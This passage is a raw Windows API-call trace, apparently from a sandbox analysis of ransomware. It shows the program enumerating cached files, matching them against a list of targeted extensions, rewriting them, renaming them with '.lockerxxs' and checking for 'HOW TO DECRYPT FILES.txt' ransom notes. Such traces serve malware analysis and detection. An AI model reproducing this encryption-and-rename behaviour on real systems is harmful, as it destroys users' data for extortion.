Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg.lockerxxs" [0084.436] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefac5[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.437] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85d [0084.437] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45b2a450, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45b2a450, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45b2a450, dwHighDateTime=0x1d2faf3)) returned 1 [0084.437] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.437] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x837, lpOverlapped=0x0) returned 1 [0084.439] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg") returned="BBEfAc5[1].jpg" [0084.439] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.439] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x837, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x837, lpOverlapped=0x0) returned 1 [0084.440] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.440] CloseHandle (hObject=0xa4) returned 1 [0084.440] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefac5[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefac5[1].jpg.lockerxxs")) returned 1 [0084.441] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45510bf0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45510bf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45510bf0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x197c, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEfgDi[1].jpg", cAlternateFileName="BBEFGD~1.JPG")) returned 1 [0084.441] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.441] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEfgDi[1].jpg") returned 1 [0084.441] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEfgDi[1].jpg") returned 1 [0084.441] lstrcmpiA (lpString1="", lpString2="BBEfgDi[1].jpg") returned -1 [0084.441] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg") returned="BBEfAc5[1].jpg" [0084.442] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.442] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.442] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.442] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.442] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEfgDi[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg" [0084.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.ems") returned 0 [0084.442] lstrlenA (lpString="*.ems") returned 5 [0084.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.db") returned 0 [0084.442] lstrlenA (lpString="*.db") returned 4 [0084.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.dbf") returned 0 [0084.442] lstrlenA (lpString="*.dbf") returned 5 [0084.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.myox") returned 0 [0084.442] lstrlenA (lpString="*.myox") returned 6 [0084.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.myo") returned 0 [0084.442] lstrlenA (lpString="*.myo") returned 5 [0084.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.qbw") returned 0 [0084.442] lstrlenA (lpString="*.qbw") returned 5 [0084.442] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.qbb") returned 0 [0084.443] lstrlenA (lpString="*.qbb") returned 5 [0084.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.qbm") returned 0 [0084.443] lstrlenA (lpString="*.qbm") returned 5 [0084.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.qbo") returned 0 [0084.443] lstrlenA (lpString="*.qbo") returned 5 [0084.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.qbx") returned 0 [0084.443] lstrlenA (lpString="*.qbx") returned 5 [0084.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.qba") returned 0 [0084.443] lstrlenA (lpString="*.qba") returned 5 [0084.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.qby") returned 0 [0084.443] lstrlenA (lpString="*.qby") returned 5 [0084.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.qbj") returned 0 [0084.443] lstrlenA (lpString="*.qbj") returned 5 [0084.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.ofx") returned 0 [0084.443] lstrlenA (lpString="*.ofx") returned 5 [0084.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.qif") returned 0 [0084.443] lstrlenA (lpString="*.qif") returned 5 [0084.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.mye") returned 0 [0084.443] lstrlenA (lpString="*.mye") returned 5 [0084.443] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.mbox") returned 0 [0084.444] lstrlenA (lpString="*.mbox") returned 6 [0084.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.eml") returned 0 [0084.444] lstrlenA (lpString="*.eml") returned 5 [0084.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.pst") returned 0 [0084.444] lstrlenA (lpString="*.pst") returned 5 [0084.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.ost") returned 0 [0084.444] lstrlenA (lpString="*.ost") returned 5 [0084.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.idx") returned 0 [0084.444] lstrlenA (lpString="*.idx") returned 5 [0084.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.dbx") returned 0 [0084.444] lstrlenA (lpString="*.dbx") returned 5 [0084.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.sql") returned 0 [0084.444] lstrlenA (lpString="*.sql") returned 5 [0084.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.mdb") returned 0 [0084.444] lstrlenA (lpString="*.mdb") returned 5 [0084.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.fdb") returned 0 [0084.444] lstrlenA (lpString="*.fdb") returned 5 [0084.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.wab") returned 0 [0084.444] lstrlenA (lpString="*.wab") returned 5 [0084.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.dat") returned 0 [0084.445] lstrlenA (lpString="*.dat") returned 5 [0084.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.txt") returned 0 [0084.445] lstrlenA (lpString="*.txt") returned 5 [0084.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.jpeg") returned 0 [0084.445] lstrlenA (lpString="*.jpeg") returned 6 [0084.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", pszSpec="*.jpg") returned 1 [0084.445] lstrlenA (lpString="*.jpg") returned 5 [0084.445] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg" [0084.445] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg" [0084.445] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg." [0084.445] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg.lockerxxs" [0084.445] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefgdi[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.446] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x197c [0084.446] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45510bf0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45510bf0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45510bf0, dwHighDateTime=0x1d2faf3)) returned 1 [0084.446] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.446] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1956, lpOverlapped=0x0) returned 1 [0084.448] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg") returned="BBEfgDi[1].jpg" [0084.448] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.448] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1956, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1956, lpOverlapped=0x0) returned 1 [0084.449] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.449] CloseHandle (hObject=0xa4) returned 1 [0084.449] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefgdi[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefgdi[1].jpg.lockerxxs")) returned 1 [0084.450] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x456d9c70, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0xb7e, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEfjuT[1].jpg", cAlternateFileName="BBEFJU~1.JPG")) returned 1 [0084.450] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.450] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEfjuT[1].jpg") returned 1 [0084.450] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEfjuT[1].jpg") returned 1 [0084.450] lstrcmpiA (lpString1="", lpString2="BBEfjuT[1].jpg") returned -1 [0084.450] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg") returned="BBEfgDi[1].jpg" [0084.450] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.450] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.450] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.450] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.450] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEfjuT[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg" [0084.450] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.ems") returned 0 [0084.451] lstrlenA (lpString="*.ems") returned 5 [0084.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.db") returned 0 [0084.451] lstrlenA (lpString="*.db") returned 4 [0084.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.dbf") returned 0 [0084.451] lstrlenA (lpString="*.dbf") returned 5 [0084.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.myox") returned 0 [0084.451] lstrlenA (lpString="*.myox") returned 6 [0084.451] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg", pszSpec="*.myo") returned 0 [0084.451] lstrlenA (lpString="*.myo") returned 5 [0084.451] PathMatchSpecA 